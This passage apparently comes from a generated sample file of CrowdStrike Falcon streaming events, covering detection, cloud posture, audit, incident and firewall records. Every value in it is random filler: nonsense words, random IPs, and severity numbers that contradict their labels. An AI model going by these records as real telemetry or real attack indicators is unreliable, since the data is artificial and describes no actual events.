0,"PolicyStatement": "alljoy","PolicyId": -1697369840,"Severity": 36,"SeverityName": "Informational","CloudPlatform": "halfperson","CloudService": "colorfulposse","Disposition": "Failed","ResourceUrl": "howclothing","Finding": "hercar","Tags": [{"Key": "lovelytroop","ValueString": "noneproblem"}],"ReportUrl": "thoseluxuty","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "jitterymurder","offset": 1961041064,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "muchanger","MobileDetectionId": 69767198,"ComputerName": "proudbus","UserName": "over therehorde","ContextTimeStamp": 1649061056,"DetectId": "whysedge","DetectName": "whymonth","DetectDescription": "whatmirror","Tactic": "whosebread","TacticId": "anythingcompany","Technique": "hiscollection","TechniqueId": "outstandingnumber","Objective": "over thereposse","Severity": 43,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/mymurder?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "yourcomfort","AndroidAppLabel": "Salvadoreanpen","DexFileHashes": "everybodyparty","ImageFileName": "cutehorror","AppInstallerInformation": "everythingwork","IsBeingDebugged": true,"AndroidAppVersionName": "nobodyman","IsContainerized": true}]}} +{"metadata": {"customerIDString": "itcat","offset": -821676966,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "uglydanger","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\abundantworld","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "way sleep bunch plan thing troupe basket production bridge shower muster gang trip pain cackle team advertising thought poisedwisp","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thiskindness?_cid=xxxxxxx","FileName": "eachparty","FilePath": "emptywidth\\eachparty","FilesAccessed": [{"FileName": "eachparty","FilePath": "emptywidth\\eachparty","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "eachparty","FilePath": "emptywidth\\eachparty","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\victoriousgrade","GrandParentImageFileName": "whichmeal","GrandParentImageFilePath": "ourcompany\\whichmeal","HostGroups": "nonedynasty","Hostname": "littlegarden","LocalIP": "175.120.65.85","LocalIPv6": "162.194.94.24","LogonDomain": "wherejoy","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "yourroad","Name": "magnificenttime","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -371508142,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "113.59.205.90","LocalPort": 16996,"Protocol": "Belgianapro","RemoteAddress": "212.199.228.138","RemotePort": 17202}],"Objective": "whoseaid","ParentCommandLine": "C:\\Windows\\thosepacket\\thesequiver","ParentImageFileName": "thesequiver","ParentImageFilePath": "so fewmustering\\thesequiver","ParentProcessId": -1247164242,"PatternDispositionDescription": "party garage knowledge trend whisker luxuty peace line yourparty","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 834471333,"PatternId": -1406840380,"PlatformId": "fewfurniture","PlatformName": "Mac","ProcessEndTime": -1161875253,"ProcessId": 704146160,"ProcessStartTime": 2080525086,"ReferrerUrl": "Icelandicseed","SHA1String": "itgoal","SHA256String": "sufficienttroupe","Severity": 29,"SeverityName": "High","SourceProducts": "thatflower","SourceVendors": "tooregiment","Tactic": "Greekway","Technique": "theirsoap","Type": "ldt","UserName": "Malagasyconfusion"}} +{"metadata": {"customerIDString": "fewdisregard","offset": -2029514474,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "angrypronunciation","PolicyId": -1970886867,"PolicyStatement": "over therepouch","CloudProvider": "somepencil","CloudService": "whichimagination","Severity": 79,"SeverityName": "Medium","EventAction": "nocleverness","EventSource": "thischoir","EventCreatedTimestamp": 1663011160,"UserId": "thismustering","UserName": "Africandoctor","UserSourceIp": "53.43.174.74","Tactic": "whathand","Technique": "herfun"}} +{"metadata": {"customerIDString": "yellowenvy","offset": -1993478320,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "brightweek","UserIp": "254.218.27.74","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Buddhistbowl","ValueString": "Burmesehost"}],"Attributes": {"actor_cid": "howbevy","actor_user": "knightlycousin","actor_user_uuid": "handsomefun","app_id": "a lotbottle","saml_assertion": "enoughlife","target_user": "whosechild","trace_id": "heavilypage"}}} +{"metadata": {"customerIDString": "herebrilliance","offset": -1831228191,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "somebodyscheme","State": "closed","FineScore": 7.039776011344496,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "Plutonianarmy","HostID": "alltribe","LMHostIDs": ["fewteam"],"UserId": "magnificentboard"}} +{"metadata": {"customerIDString": "thatcrowd","offset": -753998750,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "itssoup","UserIp": "15.186.240.250","OperationName": "selfAcceptEula","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thosewood","ValueString": "thisproduct"}],"Attributes": {"actor_cid": "braveeye","actor_user": "thisstaff","actor_user_uuid": "anythingdishonesty","app_id": "hundredrainbow","saml_assertion": "Kyrgyzjoy","target_user": "howapple","trace_id": "filthybouquet"}}} +{"metadata": {"customerIDString": "stormytalent","offset": -1608868323,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "darkhail","HostnameField": "muddyleap","UserName": "insufficientshop","StartTimestamp": 1582830734,"AgentIdString": "heavilymagic"}} +{"metadata": {"customerIDString": "greenhorror","offset": 840939344,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thateye","UserIp": "193.145.138.133","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "lonelywisp","ValueString": "whichpunctuation"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "lovelybrace"}}} +{"metadata": {"customerIDString": "whoseshower","offset": -303773766,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Cypriotplace","PolicyId": -1131743678,"PolicyStatement": "whosecovey","CloudProvider": "Africanspeed","CloudService": "thesehost","Severity": 8,"SeverityName": "High","EventAction": "Californianability","EventSource": "Turkmenpart","EventCreatedTimestamp": 1663011160,"UserId": "hereknowledge","UserName": "theremarriage","UserSourceIp": "206.46.125.9","Tactic": "Dutchshower","Technique": "everyonehost"}} +{"metadata": {"customerIDString": "allstaff","offset": -2145506912,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hispaper","UserID": "wholegroup","ExecutionID": "whereperson","ReportID": "wanderingreel","ReportName": "over therewealth","ReportType": "variedtea","ReportFileReference": "heavilystring","Status": "fancyleap","StatusMessage": "Laotianfinger","ExecutionMetadata": {"ExecutionStart": 598742230,"ExecutionDuration": -466972945,"ReportFileName": "whoseteacher","ResultCount": -170185523,"ResultID": "herechild","SearchWindowStart": -645346693,"SearchWindowEnd": -936574230}}} +{"metadata": {"customerIDString": "impromptuherbs","offset": -671440385,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hereway","HostnameField": "whichbed","UserName": "delightfulfather","StartTimestamp": 1582830734,"AgentIdString": "everybodywoman"}} +{"metadata": {"customerIDString": "thattrust","offset": -1407742014,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Africanfailure","PolicyId": -1009302844,"PolicyStatement": "ittime","CloudProvider": "eachposse","CloudService": "ourchildhood","Severity": 85,"SeverityName": "High","EventAction": "franticmustering","EventSource": "thatgloves","EventCreatedTimestamp": 1663011160,"UserId": "lonelybrilliance","UserName": "ourdynasty","UserSourceIp": "143.92.26.216","Tactic": "therekid","Technique": "ourart"}} +{"metadata": {"customerIDString": "gloriousdivorce","offset": 1342704196,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hisseafood","UserID": "manyhotel","ExecutionID": "thosepicture","ReportID": "everythingjob","ReportName": "halfsalt","ReportType": "upsetcast","ReportFileReference": "ourhand","Status": "everyoneplace","StatusMessage": "yourinnocence","ExecutionMetadata": {"ExecutionStart": -581552420,"ExecutionDuration": -1598579021,"ReportFileName": "anyinfancy","ResultCount": -988564843,"ResultID": "whereresearch","SearchWindowStart": 1424290890,"SearchWindowEnd": 393370078}}} +{"metadata": {"customerIDString": "wholegeneration","offset": 131148644,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1347675130,"ProcessEndTime": -1876679142,"ProcessId": -947736290,"ParentProcessId": -1309925092,"ComputerName": "somegoal","UserName": "fewbale","DetectName": "someheap","DetectDescription": "patrol army bunch child tribe person thing clump heat pod pipe anger stand soup wolf church string tenderstring","Severity": 4,"SeverityName": "High","FileName": "eachvilla","FilePath": "gorgeousson\\eachvilla","CommandLine": "C:\\Windows\\over thereassistance","SHA256String": "substantialmagic","MD5String": "whosemob","SHA1String": "anythingcase","MachineDomain": "oursock","NetworkAccesses": [{"AccessType": -1978822203,"AccessTimestamp": 1751371565,"Protocol": "so fewpig","LocalAddress": "206.87.187.254","LocalPort": 25189,"RemoteAddress": "173.236.92.168","RemotePort": 22882,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hungryunion?_cid=xxxxxxx","SensorId": "thesebow","IOCType": "command_line","IOCValue": "importantlake","DetectId": "lots ofcarrot","LocalIP": "18.78.90.177","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "foolishcase","Technique": "hisfactory","Objective": "Swaziability","PatternDispositionDescription": "bevy hammer case darkness socks travel riches mustering steak dynasty ream annoyance tennis leisure point cluster life muster point covey cleancovey","PatternDispositionValue": -1986402747,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "somebodycandle","ParentCommandLine": "something","GrandparentImageFileName": "doublemurder","GrandparentCommandLine": "thiscompany","HostGroups": "Gaussiancorruption","AssociatedFile": "Atlanticforest","PatternId": -1882667008}} +{"metadata": {"customerIDString": "howmob","offset": 614263770,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "yoursurgeon","UserIp": "246.251.242.53","OperationName": "deleteUser","ServiceName": "detections","AuditKeyValues": [{"Key": "Vietnamesepleasure","ValueString": "Pacificpage"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "someoneorchard"}}} +{"metadata": {"customerIDString": "whereparty","offset": -189582918,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "wherenumber","DetectName": "giftedhorror","DetectDescription": "tent door street luxury muster heap toilet frailty book trip loneliness stack bones generation cackle watch trip cooker pack cigarette army bouquet place Hitlerianlove","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Congolesecrew?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 17,"SeverityName": "Critical","Tactic": "Portuguesebox","Technique": "onemustering","Objective": "thisarmy","SourceAccountDomain": "allnap","SourceAccountName": "condemnedchildhood","SourceAccountObjectSid": "Buddhistleap","SourceEndpointAccountObjectGuid": "whichteam","SourceEndpointAccountObjectSid": "healthydeceit","SourceEndpointHostName": "perfectsoup","SourceEndpointIpAddress": "161.190.123.166","SourceEndpointSensorId": "whichtable","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "fancycompany","PatternId": 1548354304}} +{"metadata": {"customerIDString": "heavilystaff","offset": 906103853,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourgalaxy","PolicyId": 604517403,"PolicyStatement": "whatstand","CloudProvider": "somefailure","CloudService": "itsbunch","Severity": 49,"SeverityName": "Medium","EventAction": "herebale","EventSource": "herecast","EventCreatedTimestamp": 1663011160,"UserId": "richregiment","UserName": "hisengine","UserSourceIp": "100.243.158.102","Tactic": "manygroup","Technique": "theirfleet"}} +{"metadata": {"customerIDString": "condemnedcollege","offset": 1812346359,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "thereway","State": "open","FineScore": 8.31994394666357,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "yourdamage","HostID": "so fewcrime","LMHostIDs": ["greatproduction"],"UserId": "Gaussianreligion"}} +{"metadata": {"customerIDString": "Bismarckiangain","offset": -592288370,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "gracefulschool","State": "closed","FineScore": 1.9359426021893968,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "lots ofpack","HostID": "frighteningteam","LMHostIDs": ["Chinesechair"],"UserId": "frighteningocean"}} +{"metadata": {"customerIDString": "itsposse","offset": -615795649,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Germanscold","Region": "us-west-2","ResourceId": "thatarchitect","ResourceIdType": "Amazonianrubbish","ResourceName": "ourwoman","ResourceCreateTime": 0,"PolicyStatement": "whyspoon","PolicyId": 1035142533,"Severity": 27,"SeverityName": "Low","CloudPlatform": "smoggyadvantage","CloudService": "plainmustering","Disposition": "Failed","ResourceUrl": "happyway","Finding": "anyoneweek","Tags": [{"Key": "knightlygenetics","ValueString": "ourmovement"}],"ReportUrl": "terribleexaltation","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "heavilycluster","offset": 1787879286,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hisman","IncidentDescription": "myhail","Severity": 12,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "eachhand","UserName": "hiscomb","EndpointName": "fewmustering","EndpointIp": "1.165.23.55","Category": "Incidents","NumbersOfAlerts": -60578336,"NumberOfCompromisedEntities": -1036433694,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itssenator?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "yourworld","offset": -249568344,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "glamorousband","UserIp": "211.129.175.149","OperationName": "updateUserRoles","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Kazakhtroop","ValueString": "whatgarage"}],"Attributes": {"actor_cid": "sparserice","actor_user": "Bangladeshistring","actor_user_uuid": "blushingparty","app_id": "yourgroup","saml_assertion": "drabviolence","target_user": "enthusiasticsandals","trace_id": "yourverb"}}} +{"metadata": {"customerIDString": "herebrace","offset": -116475959,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "hisskirt","DataDomains": "Network","Description": "game class crow voice patrol wisp omen bird company month deceit staff list Romanianhorror","DetectId": "myfame","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "133.215.83.142","HostNames": "thosepack","Name": "littlecastle","PatternId": 1339224201,"Severity": 47,"SourceProducts": "itsteam","SourceVendors": "Romanjaw","StartTimeEpoch": 1643317697728000000,"TacticIds": "enchantedhost","Tactics": "sparsemob","TechniqueIds": "someglasses","Techniques": "mostjustice","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "eagerchoker","offset": 911507457,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "glamorousliter","PolicyId": 1096683373,"PolicyStatement": "thesefactory","CloudProvider": "myresearch","CloudService": "howforest","Severity": 55,"SeverityName": "Informational","EventAction": "howarchipelago","EventSource": "numerousbouquet","EventCreatedTimestamp": 1663011160,"UserId": "thisbundle","UserName": "colorfultraffic","UserSourceIp": "206.44.219.194","Tactic": "Taiwaneseburger","Technique": "thesecheese"}} +{"metadata": {"customerIDString": "yourfrailty","offset": -793020454,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "wholebundle","Highlights": ["manyrange"],"MatchedTimestamp": 1686889114000,"RuleId": "significantfoot","RuleName": "herehedge","RuleTopic": "anythingloneliness","RulePriority": "whosechapter","ItemId": "whichcaravan","ItemType": "TYPOSQUATTING","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "theirmusician","offset": -873652378,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "couplefashion","IncidentDescription": "pod coupleracism","Severity": 78,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "hundredtrade","UserName": "wearyrange","EndpointName": "severalhand","EndpointIp": "107.73.28.194","Category": "Detections","NumbersOfAlerts": -1628927342,"NumberOfCompromisedEntities": -1589325642,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/cruelwisp?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "nocongregation","offset": -473597939,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "thesehost","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\wheremurder","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "assistance quantity leap range cackle notebook necklace failure cast cup towel pride part salt child band leap bus courage party trip mybush","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatlemon?_cid=xxxxxxx","FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","FilesAccessed": [{"FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\nonebunch","GrandParentImageFileName": "anyoneheap","GrandParentImageFilePath": "gorgeouseffect\\anyoneheap","HostGroups": "hundredlove","Hostname": "substantialbowl","LocalIP": "70.56.189.48","LocalIPv6": "191.77.79.78","LogonDomain": "heavilytribe","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thosemotherhood","Name": "muddyleg","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1523947815,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "50.155.178.116","LocalPort": 17792,"Protocol": "onefrock","RemoteAddress": "126.236.243.158","RemotePort": 54920}],"Objective": "greenjewelry","ParentCommandLine": "C:\\Windows\\impromptureel\\theirrange","ParentImageFileName": "theirrange","ParentImageFilePath": "yourchicken\\theirrange","ParentProcessId": 1209494877,"PatternDispositionDescription": "forest case rubbish solitude divorce life day steak packet generosity field group harm set way plant eachtribe","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1416433354,"PatternId": -310322465,"PlatformId": "Bismarckiancompany","PlatformName": "Mac","ProcessEndTime": -234214285,"ProcessId": 41147750,"ProcessStartTime": -934921982,"ReferrerUrl": "over therecompany","SHA1String": "wherebattery","SHA256String": "Cambodianperson","Severity": 45,"SeverityName": "Critical","SourceProducts": "delightfulrange","SourceVendors": "Icelandicman","Tactic": "whygoal","Technique": "thatring","Type": "ldt","UserName": "itsfriendship"}} +{"metadata": {"customerIDString": "numerousomen","offset": 188460579,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "heavilypack","HostnameField": "Swisscollection","UserName": "thereirritation","StartTimestamp": 1582830734,"AgentIdString": "heavilywoman"}} +{"metadata": {"customerIDString": "South Americantolerance","offset": -1442300907,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itglasses","IncidentDescription": "trench coat patience collection trip bill herecastle","Severity": 6,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Lebanesetime","UserName": "thesefarm","EndpointName": "courageousarchipelago","EndpointIp": "223.27.112.86","Category": "Detections","NumbersOfAlerts": 205286678,"NumberOfCompromisedEntities": 74875580,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourgirl?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "enoughchildhood","offset": -1047000705,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichwisdom","Region": "us-west-1","ResourceId": "heavyscold","ResourceIdType": "therescale","ResourceName": "Bahraineancongregation","ResourceCreateTime": 0,"PolicyStatement": "lightfriend","PolicyId": 413473485,"Severity": 61,"SeverityName": "Informational","CloudPlatform": "Guyaneseboat","CloudService": "severalclarity","Disposition": "Failed","ResourceUrl": "oddday","Finding": "howlogic","Tags": [{"Key": "thatmovement","ValueString": "howgown"}],"ReportUrl": "eachhedge","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "Beninesesandwich","offset": 915076709,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "herworld","Highlights": ["so fewband"],"MatchedTimestamp": 1686889114000,"RuleId": "stupidwealth","RuleName": "theseelephant","RuleTopic": "severalfish","RulePriority": "manynutrition","ItemId": "thesehat","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "sufficientbike","offset": 89084100,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "mypoint","IncidentDescription": "chaos eye tiger mob foot entertainment shower chapter congregation river wood candy album scold part lawn paper thoselife","Severity": 16,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "somebelief","UserName": "Norwegianfarm","EndpointName": "Balinesecarrot","EndpointIp": "20.157.171.45","Category": "Detections","NumbersOfAlerts": -656181163,"NumberOfCompromisedEntities": -1843982960,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Polynesiancrew?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Asianriches","offset": 744878699,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thiscovey","Region": "us-east-1","ResourceId": "itsability","ResourceIdType": "whichteam","ResourceName": "attractivecoffee","ResourceCreateTime": 0,"PolicyStatement": "hercalm","PolicyId": 1562184883,"Severity": 52,"SeverityName": "Low","CloudPlatform": "Turkmennest","CloudService": "severalaunt","Disposition": "Failed","ResourceUrl": "whyguest","Finding": "illday","Tags": [{"Key": "Taiwanesenature","ValueString": "everythinginnocence"}],"ReportUrl": "whyreligion","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "eachbrace","offset": 857788492,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "myparty","IncidentDescription": "village medicine body station party congregation way cast host line woman trend ream grains harvest box gloriousmanagement","Severity": 27,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "anycloud","UserName": "itreel","EndpointName": "severalblouse","EndpointIp": "98.114.143.88","Category": "Detections","NumbersOfAlerts": 2069547470,"NumberOfCompromisedEntities": -346285196,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirlove?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Englishwoman","offset": 169267568,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theseteam","UserIp": "239.47.193.209","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "repulsivefact","ValueString": "over therebale"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thatkitchen"}}} +{"metadata": {"customerIDString": "theremob","offset": -130794817,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "itscase","HostnameField": "whywork","UserName": "whoseocean","StartTimestamp": 1582830734,"AgentIdString": "hisbow"}} +{"metadata": {"customerIDString": "Kazakhbouquet","offset": -1459938176,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thosegovernment","PolicyId": -862303071,"PolicyStatement": "onepack","CloudProvider": "couplestand","CloudService": "wittyfact","Severity": 24,"SeverityName": "Low","EventAction": "toohorror","EventSource": "manycovey","EventCreatedTimestamp": 1663011160,"UserId": "Hitlerianstand","UserName": "Peruvianperson","UserSourceIp": "42.99.248.34","Tactic": "whattime","Technique": "hugestack"}} +{"metadata": {"customerIDString": "itpack","offset": -1341880091,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Americanparty","CustomerId": "whichhail","Ipv": "84.131.14.185","CommandLine": "plenty ofreligion","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "itcast","ICMPCode": "yourcashier","ICMPType": "friendlyjourney","ImageFileName": "myboard","LocalAddress": "252.116.43.249","LocalPort": "82130","MatchCount": -1801157096,"MatchCountSinceLastReport": -592942918,"NetworkProfile": "hisfailure","PID": "1891097036","PolicyName": "Russianbat","PolicyID": "hundredtroop","Protocol": "foolishfood","RemoteAddress": "164.38.209.104","RemotePort": "64254","RuleAction": "whatlight","RuleDescription": "place wildlife music patrol world school gang monkey choir part howflower","RuleFamilyID": "everythingtroop","RuleGroupName": "hundredsstand","RuleName": "numerousgovernment","RuleId": "howproblem","Status": "manyman","Timestamp": 1751371830,"TreeID": "nobodytime"}} +{"metadata": {"customerIDString": "allteam","offset": -128608230,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "abundantkitchen","MobileDetectionId": 1038837053,"ComputerName": "everybodyteam","UserName": "whattroop","ContextTimeStamp": 1649061056,"DetectId": "jitterydoor","DetectName": "whichwelfare","DetectDescription": "mustering company timing sheaf world truth brilliance goal comfort flock clarity watch band plane darkness posse problem shower week illtablet","Tactic": "vastorange","TacticId": "grumpymustering","Technique": "nobodyannoyance","TechniqueId": "itsfrock","Objective": "Afghanpair","Severity": 24,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonydishonesty?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "nobodyalligator","AndroidAppLabel": "mushybundle","DexFileHashes": "therewealth","ImageFileName": "howriches","AppInstallerInformation": "greatteam","IsBeingDebugged": false,"AndroidAppVersionName": "sufficientadvertising","IsContainerized": true}]}} +{"metadata": {"customerIDString": "unusualplace","offset": -1870564443,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "whatarmy","IncidentDescription": "thing posse fleet group beauty gang hand scheme coldness gang battery mob place gain shower team adult equipment thing bunch dream case thatway","Severity": 51,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "wildgroup","UserName": "whichcar","EndpointName": "dullpoint","EndpointIp": "7.205.115.2","Category": "Detections","NumbersOfAlerts": -1262257511,"NumberOfCompromisedEntities": 992639384,"State": "RESOLVED","FalconHostLink": 